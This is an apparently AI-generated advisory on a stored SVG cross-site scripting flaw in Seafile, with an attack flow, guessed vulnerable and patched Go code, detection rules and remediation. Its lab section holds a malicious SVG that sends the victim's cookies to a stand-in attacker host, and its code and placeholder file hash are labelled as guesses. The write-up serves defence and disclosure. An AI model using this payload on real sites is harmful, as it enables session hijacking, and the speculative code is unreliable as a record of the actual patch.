CVE-2025-65516
Executive Summary
CVE-2025-65516 is a stored cross-site scripting (XSS) vulnerability in Seafile Community Edition prior to version 13.0.12. The flaw resides in the Golang file server component, allowing an authenticated attacker to upload a crafted SVG file containing malicious JavaScript. When a victim accesses the file via a public share link, the script executes in their browser. This can lead to session hijacking, data theft, or further compromise within the Seafile environment. The vulnerability is publicly known, and a patch is available in version 13.0.12.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) - The attack is carried out over the network.
- Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
- Privileges Required (PR): Low (L) - The attacker needs a valid Seafile account to upload files.
- User Interaction (UI): Required (R) - The victim must click on the shared link.
- Scope (S): Changed (C) - The vulnerability impacts resources beyond the vulnerable component.
- Confidentiality (C): Low (L) - Limited data exposure is possible.
- Integrity (I): Low (L) - Limited data modification is possible.
- Availability (A): None (N) - No impact on system availability.
Threat Level: Medium. The requirement for user interaction and low privileges reduces the immediate risk, but the potential for data theft and session hijacking makes it a significant concern.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS attack vector. Seafile's Golang file server, when configured, serves uploaded files. The server does not properly sanitize SVG files, which can contain embedded JavaScript. An attacker uploads a malicious SVG file, creates a public share link, and distributes it. When a victim's browser renders the SVG, the embedded script executes within the security context of the Seafile domain.
The attack flow:
- Attacker logs into Seafile.
- Attacker uploads an SVG file with embedded JavaScript (e.g.,
<script>alert('XSS')</script>or more sophisticated payloads). - Attacker generates a public share link for the file.
- Attacker sends the link to the victim (e.g., via email, social engineering).
- Victim clicks the link, and the SVG is rendered in their browser.
- The malicious script executes, potentially stealing cookies, session tokens, or performing actions on behalf of the victim.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-13.0.12):
The Golang file server likely serves SVG files with a Content-Type: image/svg+xml header, causing the browser to render them as interactive documents. No sanitization is applied to the file content.
// Vulnerable handler (simplified)
func serveFile(w http.ResponseWriter, r *http.Request) {
filePath := getFilePath(r)
http.ServeFile(w, r, filePath)
}
Patched Code (13.0.12):
The patch likely adds content-type validation or sanitization for SVG files, possibly by stripping script tags or serving them with a Content-Disposition: attachment header to prevent inline rendering.
// Patched handler (simplified)
func serveFile(w http.ResponseWriter, r *http.Request) {
filePath := getFilePath(r)
if strings.HasSuffix(filePath, ".svg") {
w.Header().Set("Content-Disposition", "attachment; filename=\"file.svg\"")
w.Header().Set("Content-Type", "application/octet-stream")
}
http.ServeFile(w, r, filePath)
}
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy a vulnerable Seafile Community Edition (version < 13.0.12) with the Golang file server enabled.
- Create a user account and log in.
- Upload a malicious SVG file:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<script type="text/javascript">
alert('XSS');
// Steal cookies
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
<circle cx="50" cy="50" r="40" stroke="green" stroke-width="4" fill="yellow" />
</svg>
- Generate a public share link for the file.
- Send the link to the victim (simulated in a browser).
Expected Outcome: The victim's browser executes the JavaScript, displaying an alert and sending cookies to the attacker's server.
Blue Team
Detection:
- Monitor for uploads of SVG files by users, especially if they are shared publicly.
- Look for unusual outbound network connections from the Seafile server or client browsers.
- Analyze web server logs for requests to SVG files with suspicious query parameters.
Prevention:
- Apply the patch immediately (upgrade to 13.0.12).
- Implement a Web Application Firewall (WAF) rule to block SVG files with embedded scripts.
- Configure the file server to serve SVG files with
Content-Disposition: attachment.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (Example - replace with actual if known)
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(malicious SVG)
- Network Indicators:
- Outbound HTTP requests to attacker-controlled domains from the Seafile server or client browsers.
- Unusual
Refererheaders pointing to Seafile share links.
- Log Entries:
- Web server logs showing requests to SVG files with
User-Agentstrings not matching typical browsers. - Seafile audit logs showing creation of public share links for SVG files.
- Web server logs showing requests to SVG files with
Detection Engineering
YARA Rule
rule CVE_2025_65516_Malicious_SVG {
meta:
description = "Detects malicious SVG files exploiting CVE-2025-65516"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-65516"
strings:
$svg_tag = "<svg"
$script_tag = "<script"
$xss_payload = /<script[^>]*>.*<\/script>/si
condition:
$svg_tag and $script_tag and $xss_payload
}
Sigma Rule
title: Seafile SVG XSS Upload Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects upload of SVG files with embedded scripts to Seafile
author: Valters IT
date: 2025-04-10
logsource:
category: web
product: seafile
detection:
selection:
http.method: 'POST'
http.url: '/api2/repos/*/file/'
http.content_type: 'image/svg+xml'
http.body|contains: '<script'
condition: selection
falsepositives:
- Legitimate SVG files with scripts (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-65516 Seafile SVG XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api2/repos/"; http_uri; content:"image/svg+xml"; http_content_type; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate:
- Upgrade Seafile Community Edition to version 13.0.12 or later.
- If immediate upgrade is not possible, disable the Golang file server and use the legacy Python file server.
Long-term:
- Implement strict file upload validation for all file types, especially SVG.
- Use a Content Security Policy (CSP) header to restrict script execution.
- Regularly audit public share links and remove any suspicious files.
- Educate users about the risks of clicking on unknown share links.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.